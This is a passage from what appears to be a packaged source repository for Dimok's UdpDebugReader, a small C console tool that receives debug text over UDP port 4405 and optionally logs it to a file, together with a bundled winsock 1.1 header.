NULL;\n\nchar CheckInput()\n{\n    if(!kbhit())\n        return 0;\n\n    char inputChar = getch();\n\n    if(inputChar == 'f')\n    {\n        if(logFile)\n        {\n            printf(\"\\n\\nStopped logging.\\n\\n\");\n            fclose(logFile);\n            logFile = NULL;\n        }\n        else\n        {\n            logFile = fopen(\"GeckoLog.txt\", \"wb\");\n            if(logFile)\n                printf(\"\\n\\nStarted logging to GeckoLog.txt.\\n\\n\");\n            else\n                printf(\"\\n\\nCan't create GeckoLog.txt.\\n\\n\");\n        }\n    }\n    else if(inputChar == 'c')\n    {\n        system(CLEAR);\n    }\n\n    return inputChar;\n}\n\n#ifndef WIN32\n#include <termios.h>\n\nint kbhit(void)\n{\n    struct termios term, oterm;\n    int fd = 0;\n    int c = 0;\n\n    tcgetattr(fd, &oterm);\n\n    memcpy(&term, &oterm, sizeof(term));\n\n    term.c_lflag = term.c_lflag & (!ICANON);\n\n    term.c_cc[VMIN] = 0;\n\n    term.c_cc[VTIME] = 1;\n\n    tcsetattr(fd, TCSANOW, &term);\n\n    c = getchar();\n\n    tcsetattr(fd, TCSANOW, &oterm);\n\n    if (c != -1)\n        ungetc(c, stdin);\n\n    return ((c != -1) ? 1 : 0);\n}\n\nint getch()\n{\n   static int ch = -1, fd = 0;\n\n   struct termios neu, alt;\n\n   fd = fileno(stdin);\n\n   tcgetattr(fd, &alt);\n\n   neu = alt;\n\n   neu.c_lflag &= ~(ICANON|ECHO);\n\n   tcsetattr(fd, TCSANOW, &neu);\n\n   ch = getchar();\n\n   tcsetattr(fd, TCSANOW, &alt);\n\n   return ch;\n\n}\n\n#endif //WIN32\n"
  },
  {
    "path": "udp_debug_reader/source/Input.h",
    "content": "/****************************************************************************\n * Copyright (C) 2010-2012\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n ***************************************************************************/\n#ifndef ___INPUT_H_\n#define ___INPUT_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef WIN32\n    #include <conio.h>\n    #define CLEAR    \"cls\"\n#else\n    #include <termios.h>\n    #define CLEAR    \"clear\"\n\n    int kbhit(void);\n    int getch();\n#endif\n\nextern FILE * logFile;\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n"
  },
  {
    "path": "udp_debug_reader/source/main.c",
    "content": "/****************************************************************************\n * Copyright (C) 2010-2012\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *****************************************************d**********************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include \"Input.h\"\n#include \"network.h\"\n\nint main(int argc, char *argv[])\n{\n    char inputChar = 0;\n\n    if(NetInit() < 0)\n    {\n        printf(\"Can't open socket.\\n\");\n        usleep(999999);\n        usleep(999999);\n        return 0;\n    }\n\n    if(Bind() < 0)\n    {\n        printf(\"Can't bind socket.\\n\");\n        usleep(999999);\n        usleep(999999);\n        return 0;\n    }\n\n    printf(\"UdpDebugReader by Dimok\\n\");\n    printf(\"q = quit\\n\");\n    printf(\"f = start/stop writing log to file\\n\");\n    printf(\"c = clear console\\n\");\n\n\tint ret;\n    char data[RECEIVE_BLOCK_SIZE+1];\n    memset(data, 0, sizeof(data));\n\n    while(inputChar != 'q')\n    {\n        inputChar = CheckInput();\n\n        ret = NetRead(data, RECEIVE_BLOCK_SIZE);\n        if(ret > 0)\n        {\n        \tdata[ret] = '\\0';\n\n            printf(\"%s\", data);\n            if(logFile)\n                fwrite(data, 1, ret, logFile);\n        }\n    }\n\n    if(logFile)\n        fclose(logFile);\n\n    CloseSocket();\n\n    return 0;\n}\n"
  },
  {
    "path": "udp_debug_reader/source/network.c",
    "content": "/****************************************************************************\n * Copyright (C) 2010-2012\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n ***************************************************************************/\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include \"network.h\" // Include Winsock Library\n\nstatic int sock_id = -1;\nstatic struct sockaddr_in servaddr;\n\nint Bind()\n{\n    memset(&servaddr,0,sizeof(servaddr));\n\n\tservaddr.sin_addr.s_addr = htonl(INADDR_ANY);\n    servaddr.sin_port = htons(LISTEN_PORT);\n    servaddr.sin_family = AF_INET;\n\n    if (bind(sock_id, (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0)\n    {\n        close(sock_id);\n        return -1;\n    }\n\n    return 0;\n}\n\nvoid CloseSocket()\n{\n    if(sock_id < 0)\n        return;\n\n    close(sock_id);\n    sock_id = -1;\n}\n\nint NetInit()\n{\n    if(sock_id >= 0)\n        return sock_id;\n\n#ifdef WIN32\n\tWSADATA wsaData;\n\n\t// Initialize Winsock\n\tif (WSAStartup(MAKEWORD(2,2), &wsaData) == SOCKET_ERROR)\n\t\treturn -1;\n#endif\n    //Get a socket\n    if((sock_id = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP)) == -1)\n        return -1;\n\n#ifdef WIN32\n    u_long mode = 1;\n    ioctlsocket(sock_id, FIONBIO, &mode);\n#else\n    int flags = fcntl(sock_id, F_GETFL, 0);\n    fcntl(sock_id, F_SETFL, flags | O_NONBLOCK);\n#endif\n\n    return sock_id;\n}\n\nint NetRead(void *buffer, unsigned int buf_len)\n{\n\tif(sock_id < 0)\n\t\treturn sock_id;\n\n    fd_set fdsRead;\n    FD_ZERO(&fdsRead);\n    FD_SET(sock_id, &fdsRead);\n\n    struct timeval tv;\n    tv.tv_sec = 0;\n    tv.tv_usec = 10000;\n\n    if(select(sock_id + 1, &fdsRead, NULL, NULL, &tv) != 1) {\n        return 0;\n    }\n\n\tint len = sizeof(servaddr);\n\n\treturn recvfrom(sock_id,buffer, buf_len, 0,(struct sockaddr *)&servaddr, &len);\n}\n"
  },
  {
    "path": "udp_debug_reader/source/network.h",
    "content": "/****************************************************************************\n * Copyright (C) 2010-2012\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n ***************************************************************************/\n#ifndef __NETWORK_H_\n#define __NETWORK_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef WIN32\n    #include \"winsock/winsock.h\" // Include Winsock Library\n#else\n    #include <sys/types.h>\n    #include <sys/socket.h>\n    #include <netinet/in.h>\n    #include <fcntl.h>\n#endif\n\n#define RECEIVE_BLOCK_SIZE      4096\n#define LISTEN_PORT             4405\n\nint NetInit();\nint Bind();\nvoid CloseSocket();\nint NetRead(void *buffer, unsigned int buf_len);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n"
  },
  {
    "path": "udp_debug_reader/source/winsock/winsock.h",
    "content": "/*\n\n  Definitions for winsock 1.1\n  \n  Portions Copyright (c) 1980, 1983, 1988, 1993\n  The Regents of the University of California.  All rights reserved.\n\n  Portions Copyright (c) 1993 by Digital Equipment Corporation.\n */\n\n#ifndef _WINSOCK_H\n#define _WINSOCK_H\n#if __GNUC__ >=3\n#pragma GCC system_header\n#endif\n\n#define _GNU_H_WINDOWS32_SOCKETS\n\n#include <windows.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#if !defined ( _BSDTYPES_DEFINED )\n/* also defined in gmon.h and in cygwin's sys/types */\ntypedef unsigned char\tu_char;\ntypedef unsigned short\tu_short;\ntypedef unsigned int\tu_int;\ntypedef unsigned long\tu_long;\n#define _BSDTYPES_DEFINED\n#endif /* !defined  _BSDTYPES_DEFINED */\ntypedef u_int\tSOCKET;\n#ifndef FD_SETSIZE\n#define FD_SETSIZE\t64\n#endif\n\n/* shutdown() how types */\n#define SD_RECEIVE      0x00\n#define SD_SEND         0x01\n#define SD_BOTH         0x02\n\n#ifndef _SYS_TYPES_FD_SET\n/* fd_set may have be defined by the newlib <sys/types.h>\n * if  __USE_W32_SOCKETS not defined.\n */\n#ifdef fd_set\n#undef fd_set\n#endif\ntypedef struct fd_set {\n\tu_int   fd_count;\n\tSOCKET  fd_array[FD_SETSIZE];\n} fd_set;\nint PASCAL __WSAFDIsSet(SOCKET,fd_set*);\n#ifndef FD_CLR\n#define FD_CLR(fd,set) do { u_int __i;\\\nfor (__i = 0; __i < ((fd_set *)(set))->fd_count ; __i++) {\\\n\tif (((fd_set *)(set))->fd_array[__i] == (fd)) {\\\n\twhile (__i < ((fd_set *)(set))->fd_count-1) {\\\n\t\t((fd_set*)(set))->fd_array[__i] = ((fd_set*)(set))->fd_array[__i+1];\\\n\t\t__i++;\\\n\t}\\\n\t((fd_set*)(set))->fd_count--;\\\n\tbreak;\\\n\t}\\\n}\\\n} while (0)\n#endif\n#ifndef FD_SET\n#define FD_SET(fd, set) do { \\\n    if (((fd_set *)(set))->fd_count < FD_SETSIZE) \\\n\t((fd_set *)(set))->fd_array[((fd_set *)(set))->fd_count++]=(fd);\\\n}while (0)\n#endif\n#ifndef FD_ZERO\n#define FD_ZERO(set) (((fd_set *)(set))->fd_count=0)\n#endif\n#ifndef FD_ISSET\n#define FD_ISSET(fd, set) __WSAFDIsSet((SOCKET)(fd), (fd_set *)(set))\n#endif\n#elif !defined(USE_SYS_TYPES_FD_SET)\n#warning \"fd_set and associated macros have been defined in sys/types.  \\\n    This can cause runtime problems with W32 sockets\" \n#endif /* ndef _SYS_TYPES_FD_SET */\n\n#if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__))\n#ifndef _TIMEVAL_DEFINED /* also in sys/time.h */\n#define _TIMEVAL_DEFINED\nstruct timeval {\n\tlong    tv_sec;\n\tlong    tv_usec;\n};\n#define timerisset(tvp)\t ((tvp)->tv_sec || (tvp)->tv_usec)\n#define timercmp(tvp, uvp, cmp) \\\n\t(((tvp)->tv_sec != (uvp)->tv_sec) ? \\\n\t((tvp)->tv_sec cmp (uvp)->tv_sec) : \\\n\t((tvp)->tv_usec cmp (uvp)->tv_usec))\n#define timerclear(tvp)\t (tvp)->tv_sec = (tvp)->tv_usec = 0\n#endif /* _TIMEVAL_DEFINED */\nstruct  hostent {\n\tchar\t*h_name;\n\tchar\t**h_aliases;\n\tshort\th_addrtype;\n\tshort\th_length;\n\tchar\t**h_addr_list;\n#define h_addr h_addr_list[0]\n};\nstruct linger {\n\tu_short l_onoff;\n\tu_short l_linger;\n};\n#endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */\n#define IOCPARM_MASK\t0x7f\n#define IOC_VOID\t0x20000000\n#define IOC_OUT\t0x40000000\n#define IOC_IN\t0x80000000\n#define IOC_INOUT\t(IOC_IN|IOC_OUT)\n\n#if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__))\n#define _IO(x,y)\t(IOC_VOID|((x)<<8)|(y))\n#define _IOR(x,y,t)\t(IOC_OUT|(((long)sizeof(t)&IOCPARM_MASK)<<16)|((x)<<8)|(y))\n#define _IOW(x,y,t)\t(IOC_IN|(((long)sizeof(t)&IOCPARM_MASK)<<16)|((x)<<8)|(y))\n#define FIONBIO\t_IOW('f', 126, u_long)\n#endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */\n\n#define FIONREAD\t_IOR('f', 127, u_long)\n#define FIOASYNC\t_IOW('f', 125, u_long)\n#define SIOCSHIWAT\t_IOW('s',  0, u_long)\n#define SIOCGHIWAT\t_IOR('s',  1, u_long)\n#define SIOCSLOWAT\t_IOW('s',  2, u_long)\n#define SIOCGLOWAT\t_IOR('s',  3, u_long)\n#define SIOCATMARK\t_IOR('s',  7, u_long)\n\n#if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__))\nstruct netent {\n\tchar\t* n_name;\n\tchar\t**n_aliases;\n\tshort\tn_addrtype;\n\tu_long n_net;\n};\nstruct  servent {\n\tchar\t*s_name;\n\tchar\t**s_aliases;\n\tshort\ts_port;\n\tchar\t*s_proto;\n};\nstruct  protoent {\n\tchar\t*p_name;\n\tchar\t**p_aliases;\n\tshort\tp_proto;\n};\n#endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */\n\n#define IPPROTO_IP\t0\n#define IPPROTO_ICMP\t1\n#define IPPROTO_IGMP 2\n#define IPPROTO_GGP 3\n#define IPPROTO_TCP\t6\n#define IPPROTO_PUP\t12\n#define IPPROTO_UDP\t17\n#define IPPROTO_IDP\t22\n#define IPPROTO_ND\t77\n#define IPPROTO_RAW\t255\n#define IPPROTO_MAX\t256\n#define IPPORT_ECHO\t7\n#define IPPORT_DISCARD\t9\n#define IPPORT_SYSTAT\t11\n#define IPPORT_DAYTIME  13\n#define IPPORT_NETSTAT  15\n#define IPPORT_FTP      21\n#define IPPORT_TELNET   23\n#define IPPORT_SMTP     25\n#define IPPORT_TIMESERVER 37\n#define IPPORT_NAMESERVER 42\n#define IPPORT_WHOIS\t43\n#define IPPORT_MTP\t57\n#define IPPORT_TFTP\t69\n#define IPPORT_RJE\t77\n#define IPPORT_FINGER\t79\n#define IPPORT_TTYLINK\t87\n#define IPPORT_SUPDUP\t95\n#define IPPORT_EXECSERVER\t512\n#define IPPORT_LOGINSERVER\t513\n#define IPPORT_CMDSERVER\t514\n#define IPPORT_EFSSERVER\t520\n#define IPPORT_BIFFUDP\t512\n#define IPPORT_WHOSERVER\t513\n#define IPPORT_ROUTESERVER\t520\n#define IPPORT_RESERVED\t1024\n#define IMPLINK_IP\t155\n#define IMPLINK_LOWEXPER\t156\n#define IMPLINK_HIGHEXPER       158\nstruct in_addr {\n\tunion {\n\t\tstruct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;\n\t\tstruct { u_short s_w1,s_w2; } S_un_w;\n\t\tu_long S_addr;\n\t} S_un;\n#define s_addr  S_un.S_addr\n#define s_host  S_un.S_un_b.s_b2\n#define s_net   S_un.S_un_b.s_b1\n#define s_imp   S_un.S_un_w.s_w2\n#define s_impno S_un.S_un_b.s_b4\n#define s_lh    S_un.S_un_b.s_b3\n};\n#define IN_CLASSA(i)\t(((long)(i)&0x80000000) == 0)\n#define IN_CLASSA_NET\t0xff000000\n#define IN_CLASSA_NSHIFT\t24\n#define IN_CLASSA_HOST\t0x00ffffff\n#define IN_CLASSA_MAX\t128\n#define IN_CLASSB(i)\t(((long)(i)&0xc0000000)==0x80000000)\n#define IN_CLASSB_NET\t   0xffff0000\n#define IN_CLASSB_NSHIFT\t16\n#define IN_CLASSB_HOST\t  0x0000ffff\n#define IN_CLASSB_MAX\t   65536\n#define IN_CLASSC(i)\t(((long)(i)&0xe0000000)==0xc0000000)\n#define IN_CLASSC_NET\t   0xffffff00\n#define IN_CLASSC_NSHIFT\t8\n#define IN_CLASSC_HOST\t  0xff\n#define INADDR_ANY\t      (u_long)0\n#define INADDR_LOOPBACK\t 0x7f000001\n#define INADDR_BROADCAST\t(u_long)0xffffffff\n#define INADDR_NONE\t0xffffffff\nstruct sockaddr_in {\n\tshort\tsin_family;\n\tu_short\tsin_port;\n\tstruct\tin_addr sin_addr;\n\tchar\tsin_zero[8];\n};\n#define WSADESCRIPTION_LEN\t256\n#define WSASYS_STATUS_LEN\t128\ntypedef struct WSAData {\n\tWORD\twVersion;\n\tWORD\twHighVersion;\n\tchar\tszDescription[WSADESCRIPTION_LEN+1];\n\tchar\tszSystemStatus[WSASYS_STATUS_LEN+1];\n\tunsigned short\tiMaxSockets;\n\tunsigned short\tiMaxUdpDg;\n\tchar * \tlpVendorInfo;\n} WSADATA;\ntypedef WSADATA *LPWSADATA;\n\n#if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__))\n#define IP_OPTIONS\t1\n#define SO_DEBUG\t1\n#define SO_ACCEPTCONN\t2\n#define SO_REUSEADDR\t4\n#define SO_KEEPALIVE\t8\n#define SO_DONTROUTE\t16\n#define SO_BROADCAST\t32\n#define SO_USELOOPBACK\t64\n#define SO_LINGER\t128\n#define SO_OOBINLINE\t256\n#define SO_DONTLINGER\t(u_int)(~SO_LINGER)\n#define SO_SNDBUF\t0x1001\n#define SO_RCVBUF\t0x1002\n#define SO_SNDLOWAT\t0x1003\n#define SO_RCVLOWAT\t0x1004\n#define SO_SNDTIMEO\t0x1005\n#define SO_RCVTIMEO\t0x1006\n#define SO_ERROR\t0x1007\n#define SO_TYPE\t0x1008\n#endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */\n/*\n * Note that the next 5 IP defines are specific to WinSock 1.1 (wsock32.dll).\n * They will cause errors or unexpected results if used with the\n * (gs)etsockopts exported from the WinSock 2 lib, ws2_32.dll. Refer ws2tcpip.h.\n */         \n#define IP_MULTICAST_IF\t2\n#define IP_MULTICAST_TTL\t3\n#define IP_MULTICAST_LOOP\t4\n#define IP_ADD_MEMBERSHIP\t5\n#define IP_DROP_MEMBERSHIP  6\n\n#define IP_DEFAULT_MULTICAST_TTL   1\n#define IP_DEFAULT_MULTICAST_LOOP  1\n#define IP_MAX_MEMBERSHIPS\t 20\nstruct ip_mreq {\n\tstruct in_addr imr_multiaddr;\n\tstruct in_addr imr_interface;\n};\n#define INVALID_SOCKET (SOCKET)(~0)\n#define SOCKET_ERROR\t(-1)\n#define SOCK_STREAM\t1\n#define SOCK_DGRAM\t2\n#define SOCK_RAW\t3\n#define SOCK_RDM\t4\n#define SOCK_SEQPACKET\t5\n#define TCP_NODELAY\t0x0001\n#define AF_UNSPEC\t0\n#define AF_UNIX\t1\n#define AF_INET\t2\n#define AF_IMPLINK\t3\n#define AF_PUP\t4\n#define AF_CHAOS\t5\n#define AF_IPX\t6\n#define AF_NS\t6\n#define AF_ISO\t7\n#define AF_OSI\tAF_ISO\n#define AF_ECMA\t8\n#define AF_DATAKIT\t9\n#define AF_CCITT\t10\n#define AF_SNA\t11\n#define AF_DECnet\t12\n#define AF_DLI\t13\n#define AF_LAT\t14\n#define AF_HYLINK\t15\n#define AF_APPLETALK\t16\n#define AF_NETBIOS\t17\n#define AF_VOICEVIEW\t18\n#define\tAF_FIREFOX\t19\n#define\tAF_UNKNOWN1\t20\n#define\tAF_BAN\t21\n#define AF_ATM\t22\n#define AF_INET6\t23\n#if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__))\n#define AF_MAX\t24\nstruct sockaddr {\n\tu_short sa_family;\n\tchar\tsa_data[14];\n};\n#endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */\n\nstruct sockproto {\n\tu_short sp_family;\n\tu_short sp_protocol;\n};\n#define PF_UNSPEC\tAF_UNSPEC\n#define PF_UNIX\tAF_UNIX\n#define PF_INET\tAF_INET\n#define PF_IMPLINK\tAF_IMPLINK\n#define PF_PUP\tAF_PUP\n#define PF_CHAOS\tAF_CHAOS\n#define PF_NS\tAF_NS\n#define PF_IPX\tAF_IPX\n#define PF_ISO\tAF_ISO\n#define PF_OSI\tAF_OSI\n#define PF_ECMA\tAF_ECMA\n#define PF_DATAKIT\tAF_DATAKIT\n#define PF_CCITT\tAF_CCITT\n#define PF_SNA\tAF_SNA\n#define PF_DECnet\tAF_DECnet\n#define PF_DLI\tAF_DLI\n#define PF_LAT\tAF_LAT\n#define PF_HYLINK\tAF_HYLINK\n#define PF_APPLETALK\tAF_APPLETALK\n#define PF_VOICEVIEW\tAF_VOICEVIEW\n#define PF_FIREFOX\tAF_FIREFOX\n#define PF_UNKNOWN1\tAF_UNKNOWN1\n#define PF_BAN\tAF_BAN\n#define PF_ATM\tAF_ATM\n#define PF_INET6\tAF_INET6\n#define PF_MAX\tAF_MAX\n#define SOL_SOCKET\t0xffff\n#define SOMAXCONN\t5\n#if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__))\n#define MSG_OOB\t1\n#define MSG_PEEK\t2\n#define MSG_DONTROUTE\t4\n#endif  /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */\n#define MSG_MAXIOVLEN\t16\n#define MSG_PARTIAL\t0x8000\n#define MAXGETHOSTSTRUCT\t1024\n#define FD_READ\t1\n#define FD_WRITE\t2\n#define FD_OOB\t4\n#define FD_ACCEPT\t8\n#define FD_CONNECT\t16\n#define FD_CLOSE\t32\n#ifndef WSABASEERR\n#define WSABASEERR\t10000\n#define WSAEINTR\t(WSABASEERR+4)\n#define WSAEBADF\t(WSABASEERR+9)\n#define WSAEACCES\t(WSABASEERR+13)\n#define WSAEFAULT\t(WSABASEERR+14)\n#define WSAEINVAL\t(WSABASEERR+22)\n#define WSAEMFILE\t(WSABASEERR+24)\n#define WSAEWOULDBLOCK\t(WSABASEERR+35)\n#define WSAEINPROGRESS\t(WSABASEERR+36)\n#define WSAEALREADY\t(WSABASEERR+37)\n#define WSAENOTSOCK\t(WSABASEERR+38)\n#define WSAEDESTADDRREQ\t(WSABASEERR+39)\n#define WSAEMSGSIZE\t(WSABASEERR+40)\n#define WSAEPROTOTYPE\t(WSABASEERR+41)\n#define WSAENOPROTOOPT\t(WSABASEERR+42)\n#define WSAEPROTONOSUPPORT\t(WSABASEERR+43)\n#define WSAESOCKTNOSUPPORT\t(WSABASEERR+44)\n#define WSAEOPNOTSUPP\t(WSABASEERR+45)\n#define WSAEPFNOSUPPORT\t(WSABASEERR+46)\n#define WSAEAFNOSUPPORT\t(WSABASEERR+47)\n#define WSAEADDRINUSE\t(WSABASEERR+48)\n#define WSAEADDRNOTAVAIL\t(WSABASEERR+49)\n#define WSAENETDOWN\t(WSABASEERR+50)\n#define WSAENETUNREACH\t(WSABASEERR+51)\n#define WSAENETRESET\t(WSABASEERR+52)\n#define WSAECONNABORTED\t(WSABASEERR+53)\n#define WSAECONNRESET\t(WSABASEERR+54)\n#define WSAENOBUFS\t(WSABASEERR+55)\n#define WSAEISCONN\t(WSABASEERR+56)\n#define WSAENOTCONN\t(WSABASEERR+57)\n#define WSAESHUTDOWN\t(WSABASEERR+58)\n#define WSAETOOMANYREFS\t(WSABASEERR+59)\n#define WSAETIMEDOUT\t(WSABASEERR+60)\n#define WSAECONNREFUSED\t(WSABASEERR+61)\n#define WSAELOOP\t(WSABASEERR+62)\n#define WSAENAMETOOLONG\t(WSABASEERR+63)\n#define WSAEHOSTDOWN\t(WSABASEERR+64)\n#define WSAEHOSTUNREACH\t(WSABASEERR+65)\n#define WSAENOTEMPTY\t(WSABASEERR+66)\n#define WSAEPROCLIM\t(WSABASEERR+67)\n#define WSAEUSERS\t(WSABASEERR+68)\n#define WSAEDQUOT\t(WSABASEERR+69)\n#define WSAESTALE\t(WSABASEERR+70)\n#define WSAEREMOTE\t(WSABASEERR+71)\n#define WSAEDISCON\t(WSABASEERR+101)\n#define WSASYSNOTREADY\t(WSABASEERR+91)\n#define WSAVERNOTSUPPORTED\t(WSABASEERR+92)\n#define WSANOTINITIALISED\t(WSABASEERR+93)\n#define WSAHOST_NOT_FOUND\t(WSABASEERR+1001)\n#define WSATRY_AGAIN\t(WSABASEERR+1002)\n#define WSANO_RECOVERY\t(WSABASEERR+1003)\n#define WSANO_DATA\t(WSABASEERR+1004)\n#endif /* !WSABASEERR */\n\n#define WSANO_ADDRESS\tWSANO_DATA\n#if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__))\n#define h_errno WSAGetLastError()\n#define HOST_NOT_FOUND\tWSAHOST_NOT_FOUND\n#define TRY_AGAIN\tWSATRY_AGAIN\n#define NO_RECOVERY\tWSANO_RECOVERY\n#define NO_DATA\tWSANO_DATA\n#define NO_ADDRESS\tWSANO_ADDRESS\n#endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */\nSOCKET PASCAL accept(SOCKET,struct sockaddr*,int*);\nint PASCAL bind(SOCKET,const struct sockaddr*,int);\nint PASCAL closesocket(SOCKET);\nint PASCAL connect(SOCKET,const struct sockaddr*,int);\nint PASCAL ioctlsocket(SOCKET,long,u_long *);\nint PASCAL getpeername(SOCKET,struct sockaddr*,int*);\nint PASCAL getsockname(SOCKET,struct sockaddr*,int*);\nint PASCAL getsockopt(SOCKET,int,int,char*,int*);\nunsigned long PASCAL inet_addr(const char*);\nDECLARE_STDCALL_P(char *) inet_ntoa(struct in_addr);\nint PASCAL listen(SOCKET,int);\nint PASCAL recv(SOCKET,char*,int,int);\nint PASCAL recvfrom(SOCKET,char*,int,int,struct sockaddr*,int*);\nint PASCAL send(SOCKET,const char*,int,int);\nint PASCAL sendto(SOCKET,const char*,int,int,const struct sockaddr*,int);\nint PASCAL setsockopt(SOCKET,int,int,const char*,int);\nint PASCAL shutdown(SOCKET,int);\nSOCKET PASCAL socket(int,int,int);\nDECLARE_STDCALL_P(struct hostent *) gethostbyaddr(const char*,int,int);\nDECLARE_STDCALL_P(struct hostent *) gethostbyname(const char*);\nDECLARE_STDCALL_P(struct servent *) getservbyport(int,const char*);\nDECLARE_STDCALL_P(struct servent *) getservbyname(const char*,const char*);\nDECLARE_STDCALL_P(struct protoent *) getprotobynumber(int);\nDECLARE_STDCALL_P(struct protoent *) getprotobyname(const char*);\nint PASCAL WSAStartup(WORD,LPWSADATA);\nint PASCAL WSACleanup(void);\nvoid PASCAL WSASetLastError(int);\nint PASCAL WSAGetLastError(void);\nBOOL PASCAL WSAIsBlocking(void);\nint PASCAL WSAUnhookBlockingHook(void);\nFARPROC PASCAL WSASetBlockingHook(FARPROC);\nint PASCAL WSACancelBlockingCall(void);\nHANDLE PASCAL WSAAsyncGetServByName(HWND,u_int,const char*,const char*,char*,int);\nHANDLE PASCAL WSAAsyncGetServByPort(HWND,u_int,int,const char*,char*,int);\nHANDLE PASCAL WSAAsyncGetProtoByName(HWND,u_int,const char*,char*,int);\nHANDLE PASCAL WSAAsyncGetProtoByNumber(HWND,u_int,int,char*,int);\nHANDLE PASCAL WSAAsyncGetHostByName(HWND,u_int,const char*,char*,int);\nHANDLE PASCAL WSAAsyncGetHostByAddr(HWND,u_int,const char*,int,int,char*,int);\nint PASCAL WSACancelAsyncRequest(HANDLE);\nint PASCAL WSAAsyncSelect(SOCKET,HWND,u_int,long);\n#if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__))\nu_long PASCAL htonl(u_long);\nu_long PASCAL ntohl(u_long);\nu_short PASCAL htons(u_short);\nu_short PASCAL ntohs(u_short);\nint PASCAL select(int nfds,fd_set*,fd_set*,fd_set*,const struct timeval*);\nint PASCAL gethostname(char*,int);\n#endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */\n\n#define WSAMAKEASYNCREPLY(b,e)\tMAKELONG(b,e)\n#define WSAMAKESELECTREPLY(e,error)\tMAKELONG(e,error)\n#define WSAGETASYNCBUFLEN(l)\tLOWORD(l)\n#define WSAGETASYNCERROR(l)\tHIWORD(l)\n#define WSAGETSELECTEVENT(l)\tLOWORD(l)\n#define WSAGETSELECTERROR(l)\tHIWORD(l)\n\ntypedef struct sockaddr SOCKADDR;\ntypedef struct sockaddr *PSOCKADDR;\ntypedef struct sockaddr *LPSOCKADDR;\ntypedef struct sockaddr_in SOCKADDR_IN;\ntypedef struct sockaddr_in *PSOCKADDR_IN;\ntypedef struct sockaddr_in *LPSOCKADDR_IN;\ntypedef struct linger LINGER;\ntypedef struct linger *PLINGER;\ntypedef struct linger *LPLINGER;\ntypedef struct in_addr IN_ADDR;\ntypedef struct in_addr *PIN_ADDR;\ntypedef struct in_addr *LPIN_ADDR;\ntypedef struct fd_set FD_SET;\ntypedef struct fd_set *PFD_SET;\ntypedef struct fd_set *LPFD_SET;\ntypedef struct hostent HOSTENT;\ntypedef struct hostent *PHOSTENT;\ntypedef struct hostent *LPHOSTENT;\ntypedef struct servent SERVENT;\ntypedef struct servent *PSERVENT;\ntypedef struct servent *LPSERVENT;\ntypedef struct protoent PROTOENT;\ntypedef struct protoent *PPROTOENT;\ntypedef struct protoent *LPPROTOENT;\ntypedef struct timeval TIMEVAL;\ntypedef struct timeval *PTIMEVAL;\ntypedef struct timeval *LPTIMEVAL;\n\n#ifdef __cplusplus\n}\n#endif\n/*\n * 